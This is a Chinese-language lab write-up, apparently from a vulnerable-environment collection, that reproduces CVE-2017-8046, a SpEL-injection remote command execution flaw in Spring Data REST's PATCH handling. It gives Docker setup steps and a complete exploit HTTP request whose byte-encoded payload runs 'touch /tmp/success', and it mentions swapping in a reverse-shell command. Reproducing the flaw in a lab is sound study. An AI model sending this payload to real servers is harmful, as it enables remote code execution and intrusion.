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Spring Data Rest 远程命令执行漏洞CVE-2017-8046

Spring Data REST是一个构建在Spring Data之上为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中实现RFC6902path的值被传入setValue导致执行了SpEL表达式触发远程命令执行漏洞。

参考链接:

环境搭建

执行如下命令启动一个基于Spring Data REST 2.6.6的Web应用

docker compose up -d

等待环境启动完成,然后访问http://your-ip:8080/即可看到json格式的返回值说明这是一个Restful风格的API服务器。

漏洞复现

访问http://your-ip:8080/customers/1看到一个资源。我们使用PATCH请求来修改之

PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

path的值是SpEL表达式发送上述数据包将执行new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}表示的命令touch /tmp/success。然后进入容器docker compose exec spring bash看看:

可见success成功创建。

将bytecode改成反弹shell的命令注意Java反弹shell的限制与绕过方式),成功弹回: